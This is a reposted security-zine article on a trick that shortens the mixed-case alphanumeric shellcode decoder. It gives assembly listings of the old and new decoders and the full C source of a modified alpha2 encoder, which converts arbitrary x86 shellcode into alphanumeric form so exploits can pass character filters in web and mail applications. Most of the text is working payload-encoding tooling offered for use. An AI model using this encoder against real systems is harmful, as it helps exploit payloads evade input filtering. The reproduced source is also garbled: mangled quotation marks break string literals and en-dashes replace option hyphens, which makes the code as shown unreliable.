鬼仔's Blog

==Ph4nt0m Security Team==

Issue 0x01, Phile #0x02 of 0x06

|=—————————————————————————=|
|=—-=[ An improvement on mixed case alphanumeric shellcode decoder ]=——=|
|=—————————————————————————=|
|=———————-—————————————————–=|
|=——————–=[ By tms320 ]=——————–=|
|=——————–=[ <tms320_at_ph4nt0m_dot_org> ]=——————–=|
|=—————————————————————————=|

A lot of exploits which used in exploiting Web or mail applications need
alphanumeric encoded shellcodes. The paper "Writing ia32 alphanumeric shellcodes"
presented on Phrack volume 11, issue 57 introduced to us on how to write an
alphanumeric encoded shellcode. Berend developed a tool named alpha2 to encode
any binary shellcode to alphanumeric encoded shellcode. A small trick can be
used to make mixed case alphanumeric shellcode decoder shorter, so that smaller
shellcode can be generated.

Let"s have a clear look at Berend’ decoder
"TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0 BBABXP8ABuJI", which gives the
following assemble code:

PUSH ESP
POP ECX
DEC ECX
DEC ECX
DEC ECX
DEC ECX
DEC ECX
DEC ECX
DEC ECX
DEC ECX
DEC ECX
DEC ECX
DEC ECX
DEC ECX
DEC ECX
DEC ECX
DEC ECX
DEC ECX
AAA
PUSH ECX
POP EDX
PUSH 41
POP EAX
PUSH EAX
XOR BYTE PTR DS:[ECX+30],AL
INC ECX
IMUL EAX,DWORD PTR DS:[ECX+41],51
XOR AL,BYTE PTR DS:[ECX+42]
XOR AL,BYTE PTR DS:[EDX+42]
XOR BYTE PTR DS:[EDX+42],AL
INC ECX
INC EDX
POP EAX
PUSH EAX
CMP BYTE PTR DS:[ECX+42],AL
db 75h, 4Ah, 49H ;75 E9 JNZ loop

Here "IMUL EAX, [ECX+42],10h" is use to shift first byte left 4 bits. Because
10h is not an alphanumeric code, "XOR BYTE PTR DS:[ECX+30],AL" is used to patch
it. Ecx points to the start of decoder, and smallest alphanumeric letter 30h is
used to avoid amount of padding nops.

From a simple multiplication of 4h*4h=10h, we can know that shifting a byte left
4 bits can be realized by multiplying 4h twice. Because 4h is still a
non-alphanumeric code, 34h, 44h, 54h, 64h, 74h can be used instead. By this way,
xor instruction can be removed from decoder, and the first decoded instructions
can start from ecx+30h instead of original ecx+42h. So 12h bytes can be saved in
non-compressed decoder, and 8h bytes saved in compressed decoder. Following is
the new decoder:

TYIIIIIIQZAkA0D2A00A0kA0D2A12B10B1ABjAX8A1uIN

PUSH ESP
POP ECX
DEC ECX
DEC ECX
DEC ECX
DEC ECX
DEC ECX
DEC ECX
PUSH ECX
POP EDX
INC ECX
IMUL EAX,DWORD PTR DS:[ECX+30],44
XOR AL,BYTE PTR DS:[ECX+30]
XOR BYTE PTR DS:[ECX+30],AL
IMUL EAX,DWORD PTR DS:[ECX+30],44
XOR AL,BYTE PTR DS:[ECX+31]
XOR AL,BYTE PTR DS:[EDX+31]
XOR BYTE PTR DS:[EDX+31],AL
INC ECX
INC EDX
PUSH 41
POP EAX
CMP BYTE PTR DS:[ECX+31],AL
db 75h, 49h, 4Eh;75 DE JNZ loop

A modified alpha2 encoding program is attached at end of paper, and thanks to
Berend, who shares the original code. If you have questions, please send mail
to [email protected].

The Shellcode Decoder:

#include <stdio.h> // printf(), fprintf(), stderr
#include <stdlib.h> // exit(), EXIT_SUCCESS, EXIT_FAILURE, srand(), rand()
#include <string.h> // strcasecmp(), strstr()
//#include <time.h> //struct timeval, struct timezone, gettimeofday()
#include <windows.h>
#define VERSION_STRING "ALPHA 2: Zero-tolerance. (build 07)"
#define COPYRIGHT "Copyright (C) 2003, 2004 by Berend-Jan Wever."
strcasecmp (const char * __sz1, const char * __sz2)
{return _stricmp (__sz1, __sz2);}

/*
________________________________________________________________________________

,sSSs,,s, ,sSSSs, ALPHA 2: Zero-tolerance.
SS" Y$P" SY" ,SY
iS" dY ,sS" Unicode-proof uppercase alphanumeric shellcode encoding.
YS, dSb ,sY" Copyright (C) 2003, 2004 by Berend-Jan Wever.
`"YSS""S" "SSSSSSSP <[email protected]>
________________________________________________________________________________

This program is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License version 2, 1991 as published by
the Free Software Foundation.

This program is distributed in the hope that it will be useful, but WITHOUT
ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.

A copy of the GNU General Public License can be found at:
http://www.gnu.org/licenses/gpl.html
or you can write to:
Free Software Foundation, Inc.
59 Temple Place – Suite 330
Boston, MA 02111-1307
USA.

Acknowledgements:
Thanks to rix for his phrack article on aphanumeric shellcode.
Thanks to obscou for his phrack article on unicode-proof shellcode.
Thanks to Costin Ionescu for the idea behind w32 SEH GetPC code.
Thanks to spoonm for inspiration and suggestions, check out his 1337 perl
conversion of ALPHA in the metasploit framework (with polymorphism!)
*/

#define mixedcase_w32sehgetpc "VTX630VXH49HHHPhYAAQhZYYYYAAQQDDDd36" \
"FFFFTXVj0PPTUPPa301089"
#define uppercase_w32sehgetpc "VTX630WTX638VXH49HHHPVX5AAQQPVX5YYYY" \
"P5YYYD5KKYAPTTX638TDDNVDDX4Z4A638618" \
"16"
#define mixedcase_ascii_decoder_body "AkA0D2A00A0kA0D2A12B10B1ABjAX8A1uIN"
#define uppercase_ascii_decoder_body "VTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0B" \
"BXP8ACJJI"
#define mixedcase_unicode_decoder_body "jXAQADAZABARALAYAIAQAIAQAIAhAAAZ1AIA" \
"IAJ11AIAIABABABQI1AIQIAIQI111AIAJQYA" \
"ZBABABABABkMAGB9u4JB"
#define uppercase_unicode_decoder_body "QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5" \
"AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABAB" \
"QI1AIQIAIQI1111AIAJQI1AYAZBABABABAB3" \
"0APB944JB"

struct decoder {
char* id; // id of option
char* code; // the decoder
} mixedcase_ascii_decoders[] = {
{ "nops", "IIIIIIII" mixedcase_ascii_decoder_body },
{ "eax", "PYIIIIIIQZ" mixedcase_ascii_decoder_body },
{ "ecx", "IIIIIIIQZ" mixedcase_ascii_decoder_body },
{ "edx", "JJJJJJJRY" mixedcase_ascii_decoder_body },
{ "ebx", "SYIIIIIIQZ" mixedcase_ascii_decoder_body },
{ "esp", "TYIIIIIIQZ" mixedcase_ascii_decoder_body },
{ "ebp", "UYIIIIIIQZ" mixedcase_ascii_decoder_body },
{ "esi", "VYIIIIIIQZ" mixedcase_ascii_decoder_body },
{ "edi", "WYIIIIIIQZ" mixedcase_ascii_decoder_body },
{ "[esp-10]", "LLLLLLLLTLLLLYQZ" mixedcase_ascii_decoder_body },
{ "[esp-C]", "LLLLLLLLLLLLY7QZ" mixedcase_ascii_decoder_body },
{ "[esp-8]", "LLLLLLLLYII7QZ" mixedcase_ascii_decoder_body },
{ "[esp-4]", "LLLLYIIII7QZ" mixedcase_ascii_decoder_body },
{ "[esp]", "YIIIIII7QZ" mixedcase_ascii_decoder_body },
{ "[esp+4]", "YYIIIIIIQZ" mixedcase_ascii_decoder_body },
{ "[esp+8]", "YYYIIIII7QZ" mixedcase_ascii_decoder_body },
{ "[esp+C]", "YYYYIIIIIQZ" mixedcase_ascii_decoder_body },
{ "[esp+10]", "YYYYYIIII7QZ" mixedcase_ascii_decoder_body },
{ "[esp+14]", "YYYYYYIIIIQZ" mixedcase_ascii_decoder_body },
{ "[esp+18]", "YYYYYYYIII7QZ" mixedcase_ascii_decoder_body },
{ "[esp+1C]", "YYYYYYYYIIIQZ" mixedcase_ascii_decoder_body },
{ "seh", mixedcase_w32sehgetpc "IIIIIIIQZ" // ecx code
mixedcase_ascii_decoder_body },
{ NULL, NULL }
}, uppercase_ascii_decoders[] = {
{ "nops", "IIIIIIIIIIII" uppercase_ascii_decoder_body },
{ "eax", "PYIIIIIIIIIIQZ" uppercase_ascii_decoder_body },
{ "ecx", "IIIIIIIIIIIQZ" uppercase_ascii_decoder_body },
{ "edx", "JJJJJJJJJJJRY" uppercase_ascii_decoder_body },
{ "ebx", "SYIIIIIIIIIIQZ" uppercase_ascii_decoder_body },
{ "esp", "TYIIIIIIIIIIQZ" uppercase_ascii_decoder_body },
{ "ebp", "UYIIIIIIIIIIQZ" uppercase_ascii_decoder_body },
{ "esi", "VYIIIIIIIIIIQZ" uppercase_ascii_decoder_body },
{ "edi", "WYIIIIIIIIIIQZ" uppercase_ascii_decoder_body },
{ "[esp-10]", "LLLLLLLLLLLLLLLLYII7QZ" uppercase_ascii_decoder_body },
{ "[esp-C]", "LLLLLLLLLLLLYIIII7QZ" uppercase_ascii_decoder_body },
{ "[esp-8]", "LLLLLLLLYIIIIII7QZ" uppercase_ascii_decoder_body },
{ "[esp-4]", "LLLL7YIIIIIIIIQZ" uppercase_ascii_decoder_body },
{ "[esp]", "YIIIIIIIIII7QZ" uppercase_ascii_decoder_body },
{ "[esp+4]", "YYIIIIIIIIIIQZ" uppercase_ascii_decoder_body },
{ "[esp+8]", "YYYIIIIIIIII7QZ" uppercase_ascii_decoder_body },
{ "[esp+C]", "YYYYIIIIIIIIIQZ" uppercase_ascii_decoder_body },
{ "[esp+10]", "YYYYYIIIIIIII7QZ" uppercase_ascii_decoder_body },
{ "[esp+14]", "YYYYYYIIIIIIIIQZ" uppercase_ascii_decoder_body },
{ "[esp+18]", "YYYYYYYIIIIIII7QZ" uppercase_ascii_decoder_body },
{ "[esp+1C]", "YYYYYYYYIIIIIIIQZ" uppercase_ascii_decoder_body },
{ "seh", uppercase_w32sehgetpc "IIIIIIIIIIIQZ" // ecx code
uppercase_ascii_decoder_body },
{ NULL, NULL }
}, mixedcase_ascii_nocompress_decoders[] = {
{ "nops", "7777777777777777" mixedcase_ascii_decoder_body },
{ "eax", "PY777777777777QZ" mixedcase_ascii_decoder_body },
{ "ecx", "77777777777777QZ" mixedcase_ascii_decoder_body },
{ "edx", "77777777777777RY" mixedcase_ascii_decoder_body },
{ "ebx", "SY777777777777QZ" mixedcase_ascii_decoder_body },
{ "esp", "TY777777777777QZ" mixedcase_ascii_decoder_body },
{ "ebp", "UY777777777777QZ" mixedcase_ascii_decoder_body },
{ "esi", "VY777777777777QZ" mixedcase_ascii_decoder_body },
{ "edi", "WY777777777777QZ" mixedcase_ascii_decoder_body },
{ "[esp-10]", "LLLLLLLLTLLLLYQZ" mixedcase_ascii_decoder_body },
{ "[esp-C]", "LLLLLLLLLLLLY7QZ" mixedcase_ascii_decoder_body },
{ "[esp-8]", "LLLLLLLLY77777QZ" mixedcase_ascii_decoder_body },
{ "[esp-4]", "LLLL7Y77777777QZ" mixedcase_ascii_decoder_body },
{ "[esp]", "Y7777777777777QZ" mixedcase_ascii_decoder_body },
{ "[esp+4]", "YY777777777777QZ" mixedcase_ascii_decoder_body },
{ "[esp+8]", "YYY77777777777QZ" mixedcase_ascii_decoder_body },
{ "[esp+C]", "YYYY7777777777QZ" mixedcase_ascii_decoder_body },
{ "[esp+10]", "YYYYY777777777QZ" mixedcase_ascii_decoder_body },
{ "[esp+14]", "YYYYYY77777777QZ" mixedcase_ascii_decoder_body },
{ "[esp+18]", "YYYYYYY7777777QZ" mixedcase_ascii_decoder_body },
{ "[esp+1C]", "YYYYYYYY777777QZ" mixedcase_ascii_decoder_body },
{ "seh", mixedcase_w32sehgetpc "77777777777777QZ" // ecx code
mixedcase_ascii_decoder_body },
{ NULL, NULL }
}, uppercase_ascii_nocompress_decoders[] = {
{ "nops", "777777777777777777777777" uppercase_ascii_decoder_body },
{ "eax", "PY77777777777777777777QZ" uppercase_ascii_decoder_body },
{ "ecx", "7777777777777777777777QZ" uppercase_ascii_decoder_body },
{ "edx", "7777777777777777777777RY" uppercase_ascii_decoder_body },
{ "ebx", "SY77777777777777777777QZ" uppercase_ascii_decoder_body },
{ "esp", "TY77777777777777777777QZ" uppercase_ascii_decoder_body },
{ "ebp", "UY77777777777777777777QZ" uppercase_ascii_decoder_body },
{ "esi", "VY77777777777777777777QZ" uppercase_ascii_decoder_body },
{ "edi", "WY77777777777777777777QZ" uppercase_ascii_decoder_body },
{ "[esp-10]", "LLLLLLLLLLLLLLLLY77777QZ" uppercase_ascii_decoder_body },
{ "[esp-C]", "LLLLLLLLLLLLY777777777QZ" uppercase_ascii_decoder_body },
{ "[esp-8]", "LLLLLLLLY7777777777777QZ" uppercase_ascii_decoder_body },
{ "[esp-4]", "LLLL7Y7777777777777777QZ" uppercase_ascii_decoder_body },
{ "[esp]", "Y777777777777777777777QZ" uppercase_ascii_decoder_body },
{ "[esp+4]", "YY77777777777777777777QZ" uppercase_ascii_decoder_body },
{ "[esp+8]", "YYY7777777777777777777QZ" uppercase_ascii_decoder_body },
{ "[esp+C]", "YYYY777777777777777777QZ" uppercase_ascii_decoder_body },
{ "[esp+10]", "YYYYY77777777777777777QZ" uppercase_ascii_decoder_body },
{ "[esp+14]", "YYYYYY7777777777777777QZ" uppercase_ascii_decoder_body },
{ "[esp+18]", "YYYYYYY777777777777777QZ" uppercase_ascii_decoder_body },
{ "[esp+1C]", "YYYYYYYY77777777777777QZ" uppercase_ascii_decoder_body },
{ "seh", uppercase_w32sehgetpc "7777777777777777777777QZ" // ecx code
uppercase_ascii_decoder_body },
{ NULL, NULL }
}, mixedcase_unicode_decoders[] = {
{ "nops", "IAIAIAIAIAIAIAIAIAIAIAIAIAIA4444" mixedcase_unicode_decoder_body },
{ "eax", "PPYAIAIAIAIAIAIAIAIAIAIAIAIAIAIA" mixedcase_unicode_decoder_body },
{ "ecx", "IAIAIAIAIAIAIAIAIAIAIAIAIAIA4444" mixedcase_unicode_decoder_body },
{ "edx", "RRYAIAIAIAIAIAIAIAIAIAIAIAIAIAIA" mixedcase_unicode_decoder_body },
{ "ebx", "SSYAIAIAIAIAIAIAIAIAIAIAIAIAIAIA" mixedcase_unicode_decoder_body },
{ "esp", "TUYAIAIAIAIAIAIAIAIAIAIAIAIAIAIA" mixedcase_unicode_decoder_body },
{ "ebp", "UUYAIAIAIAIAIAIAIAIAIAIAIAIAIAIA" mixedcase_unicode_decoder_body },
{ "esi", "VVYAIAIAIAIAIAIAIAIAIAIAIAIAIAIA" mixedcase_unicode_decoder_body },
{ "edi", "WWYAIAIAIAIAIAIAIAIAIAIAIAIAIAIA" mixedcase_unicode_decoder_body },
{ "[esp]", "YAIAIAIAIAIAIAIAIAIAIAIAIAIAIA44" mixedcase_unicode_decoder_body },
{ "[esp+4]", "YUYAIAIAIAIAIAIAIAIAIAIAIAIAIAIA" mixedcase_unicode_decoder_body },
{ NULL, NULL }
}, uppercase_unicode_decoders[] = {
{ "nops", "IAIAIAIA4444" uppercase_unicode_decoder_body },
{ "eax", "PPYAIAIAIAIA" uppercase_unicode_decoder_body },
{ "ecx", "IAIAIAIA4444" uppercase_unicode_decoder_body },
{ "edx", "RRYAIAIAIAIA" uppercase_unicode_decoder_body },
{ "ebx", "SSYAIAIAIAIA" uppercase_unicode_decoder_body },
{ "esp", "TUYAIAIAIAIA" uppercase_unicode_decoder_body },
{ "ebp", "UUYAIAIAIAIA" uppercase_unicode_decoder_body },
{ "esi", "VVYAIAIAIAIA" uppercase_unicode_decoder_body },
{ "edi", "WWYAIAIAIAIA" uppercase_unicode_decoder_body },
{ "[esp]", "YAIAIAIAIA44" uppercase_unicode_decoder_body },
{ "[esp+4]", "YUYAIAIAIAIA" uppercase_unicode_decoder_body },
{ NULL, NULL }
}, mixedcase_unicode_nocompress_decoders[] = {
{ "nops", "444444444444444444444444444444444444444" mixedcase_unicode_decoder_body },
{ "eax", "PPYA44444444444444444444444444444444444" mixedcase_unicode_decoder_body },
{ "ecx", "444444444444444444444444444444444444444" mixedcase_unicode_decoder_body },
{ "edx", "RRYA44444444444444444444444444444444444" mixedcase_unicode_decoder_body },
{ "ebx", "SSYA44444444444444444444444444444444444" mixedcase_unicode_decoder_body },
{ "esp", "TUYA44444444444444444444444444444444444" mixedcase_unicode_decoder_body },
{ "ebp", "UUYA44444444444444444444444444444444444" mixedcase_unicode_decoder_body },
{ "esi", "VVYA44444444444444444444444444444444444" mixedcase_unicode_decoder_body },
{ "edi", "WWYA44444444444444444444444444444444444" mixedcase_unicode_decoder_body },
{ "[esp]", "YA4444444444444444444444444444444444444" mixedcase_unicode_decoder_body },
{ "[esp+4]", "YUYA44444444444444444444444444444444444" mixedcase_unicode_decoder_body },
{ NULL, NULL }
}, uppercase_unicode_nocompress_decoders[] = {
{ "nops", "44444444444444" uppercase_unicode_decoder_body },
{ "eax", "PPYA4444444444" uppercase_unicode_decoder_body },
{ "ecx", "44444444444444" uppercase_unicode_decoder_body },
{ "edx", "RRYA4444444444" uppercase_unicode_decoder_body },
{ "ebx", "SSYA4444444444" uppercase_unicode_decoder_body },
{ "esp", "TUYA4444444444" uppercase_unicode_decoder_body },
{ "ebp", "UUYA4444444444" uppercase_unicode_decoder_body },
{ "esi", "VVYA4444444444" uppercase_unicode_decoder_body },
{ "edi", "WWYA4444444444" uppercase_unicode_decoder_body },
{ "[esp]", "YA444444444444" uppercase_unicode_decoder_body },
{ "[esp+4]", "YUYA4444444444" uppercase_unicode_decoder_body },
{ NULL, NULL }
};

struct decoder* decoders[] = {
mixedcase_ascii_decoders, uppercase_ascii_decoders,
mixedcase_unicode_decoders, uppercase_unicode_decoders,
mixedcase_ascii_nocompress_decoders, uppercase_ascii_nocompress_decoders,
mixedcase_unicode_nocompress_decoders, uppercase_unicode_nocompress_decoders
};
void version(void) {
printf(
"________________________________________________________________________________\n"
"\n"
" ,sSSs,,s, ,sSSSs, " VERSION_STRING "\n"
" SS\" Y$P\" SY\" ,SY \n"
" iS" dY ,sS\" Unicode-proof uppercase alphanumeric shellcode encoding.\n"
" YS, dSb ,sY\" " COPYRIGHT "\n"
" `\"YSS"\"S" "SSSSSSSP <[email protected]>\n"
"________________________________________________________________________________\n"
"\n"
);
exit(EXIT_SUCCESS);
}

void help(char* name) {
printf(
"Usage: %s [OPTION] [BASEADDRESS]\n"
"ALPHA 2 encodes your IA-32 shellcode to contain only alphanumeric characters.\n"
"The result can optionaly be uppercase-only and/or unicode proof. It is a encoded\n"
"version of your origional shellcode. It consists of baseaddress-code with some\n"
"padding, a decoder routine and the encoded origional shellcode. This will work\n"
"for any target OS. The resulting shellcode needs to have RWE-access to modify\n"
"it"s own code and decode the origional shellcode in memory.\n"
"\n"
"BASEADDRESS\n"
" The decoder routine needs have it"s baseaddress in specified register(s). The\n"
" baseaddress-code copies the baseaddress from the given register or stack\n"
" location into the apropriate registers.\n"
"eax, ecx, edx, ebx, esp, ebp, esi, edi\n"
" Take the baseaddress from the given register. (Unicode baseaddress code using\n"
" esp will overwrite the byte of memory pointed to by ebp!)\n"
"[esp], [esp-X], [esp+X]\n"
" Take the baseaddress from the stack.\n"
"seh\n"
" The windows \"Structured Exception Handler\" (seh) can be used to calculate\n"
" the baseaddress automatically on win32 systems. This option is not available\n"
" for unicode-proof shellcodes and the uppercase version isn"t 100%% reliable.\n"
"nops\n"
" No baseaddress-code, just padding. If you need to get the baseaddress from a\n"
" source not on the list use this option (combined with –nocompress) and\n"
" replace the nops with your own code. The ascii decoder needs the baseaddress\n"
" in registers ecx and edx, the unicode-proof decoder only in ecx.\n"
"-n\n"
" Do not output a trailing newline after the shellcode.\n"
"–nocompress\n"
" The baseaddress-code uses \"dec\"-instructions to lower the required padding\n"
" length. The unicode-proof code will overwrite some bytes in front of the\n"
" shellcode as a result. Use this option if you do not want the \"dec\"-s.\n"
"–unicode\n"
" Make shellcode unicode-proof. This means it will only work when it gets\n"
" converted to unicode (inserting a "0" after each byte) before it gets\n"
" executed.\n"
"–uppercase\n"
" Make shellcode 100%% uppercase characters, uses a few more bytes then\n"
" mixedcase shellcodes.\n"
"–sources\n"
" Output a list of BASEADDRESS options for the given combination of –uppercase\n"
" and –unicode.\n"
"–help\n"
" Display this help and exit\n"
"–version\n"
" Output version information and exit\n"
"\n"
"See the source-files for further details and copying conditions. There is NO\n"
"warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n"
"\n"
"Acknowledgements:\n"
" Thanks to rix for his phrack article on aphanumeric shellcode.\n"
" Thanks to obscou for his phrack article on unicode-proof shellcode.\n"
" Thanks to Costin Ionescu for the idea behind w32 SEH GetPC code.\n"
"\n"
"Report bugs to <[email protected]>\n",
name
);
exit(EXIT_SUCCESS);
}

//—————————————————————————–
int main(int argc, char* argv[], char* envp[]) {
int uppercase = 0, unicode = 0, sources = 0, w32sehgetpc = 0,
nonewline = 0, nocompress = 0, options = 0, spaces = 0;
char* baseaddress = NULL;
int i, input, A, B, C, D, E, F;
char* valid_chars;

// Random seed
//struct timeval tv;
//struct timezone tz;
//gettimeofday(&tv, &tz);
//srand((int)tv.tv_sec*1000+tv.tv_usec);
srand((unsigned int)GetTickCount());
// Scan all the options and set internal variables accordingly
for (i=1; i<argc; i++) {
if (strcmp(argv[i], "–help") == 0) help(argv[0]);
else if (strcmp(argv[i], "–version") == 0) version();
else if (strcmp(argv[i], "–uppercase") == 0) uppercase = 1;
else if (strcmp(argv[i], "–unicode") == 0) unicode = 1;
else if (strcmp(argv[i], "–nocompress") == 0) nocompress = 1;
else if (strcmp(argv[i], "–sources") == 0) sources = 1;
else if (strcmp(argv[i], "–spaces") == 0) spaces = 1;
else if (strcmp(argv[i], "-n") == 0) nonewline = 1;
else if (baseaddress == NULL) baseaddress = argv[i];
else {
fprintf(stderr, "%s: more then one BASEADDRESS option: `%s" and `%s"\n"
"Try `%s –help" for more information.\n",
argv[0], baseaddress, argv[i], argv[0]);
exit(EXIT_FAILURE);
}
}

// No baseaddress option ?
if (baseaddress == NULL) {
fprintf(stderr, "%s: missing BASEADDRESS options.\n"
"Try `%s –help" for more information.\n", argv[0], argv[0]);
exit(EXIT_FAILURE);
}
// The uppercase, unicode and nocompress option determine which decoder we"ll
// need to use. For each combination of these options there is an array,
// indexed by the baseaddress with decoders. Pointers to these arrays have
// been put in another array, we can calculate the index into this second
// array like this:
options = uppercase+unicode*2+nocompress*4;
// decoders[options] will now point to an array of decoders for the specified
// options. The array contains one decoder for every possible baseaddress.

// Someone wants to know which baseaddress options the specified options
// for uppercase, unicode and/or nocompress allow:
if (sources) {
printf("Available options for %s%s alphanumeric shellcode:\n",
uppercase ? "uppercase" : "mixedcase",
unicode ? " unicode-proof" : "");
for (i=0; decoders[options][i].id != NULL; i++) {
printf(" %s\n", decoders[options][i].id);
}
printf("\n");
exit(EXIT_SUCCESS);
}

if (uppercase) {
if (spaces) valid_chars = " 0123456789BCDEFGHIJKLMNOPQRSTUVWXYZ";
else valid_chars = "0123456789BCDEFGHIJKLMNOPQRSTUVWXYZ";
} else {
if (spaces) valid_chars = " 0123456789BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
else valid_chars = "0123456789BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
}

// Find and output decoder
for (i=0; strcasecmp(baseaddress, decoders[options][i].id) != 0; i++) {
if (decoders[options][i+1].id == NULL) {
fprintf(stderr, "%s: unrecognized baseaddress option `%s"\n"
"Try `%s %s%s–sources" for a list of BASEADDRESS options.\n",
argv[0], baseaddress, argv[0],
uppercase ? "–uppercase " : "",
unicode ? "–unicode " : "");
exit(EXIT_FAILURE);
}
}
printf("%s", decoders[options][i].code);

// read, encode and output shellcode
while ((input = getchar()) != EOF) {
// encoding AB -> CD 00 EF 00
A = (input & 0xf0) >> 4;
B = (input & 0x0f);

F = B;
// E is arbitrary as long as EF is a valid character
i = rand() % strlen(valid_chars);
while ((valid_chars[i] & 0x0f) != F) { i = ++i % strlen(valid_chars); }
E = valid_chars[i] >> 4;
// normal code uses xor, unicode-proof uses ADD.
// AB ->
D = unicode ? (A-E) & 0x0f : (A^E);
// C is arbitrary as long as CD is a valid character
i = rand() % strlen(valid_chars);
while ((valid_chars[i] & 0x0f) != D) { i = ++i % strlen(valid_chars); }
C = valid_chars[i] >> 4;
printf("%c%c", (C<<4)+D, (E<<4)+F);
}
printf("A%s", nonewline ? "" : "\n"); // Terminating "A"

exit(EXIT_SUCCESS);
}

-EOF-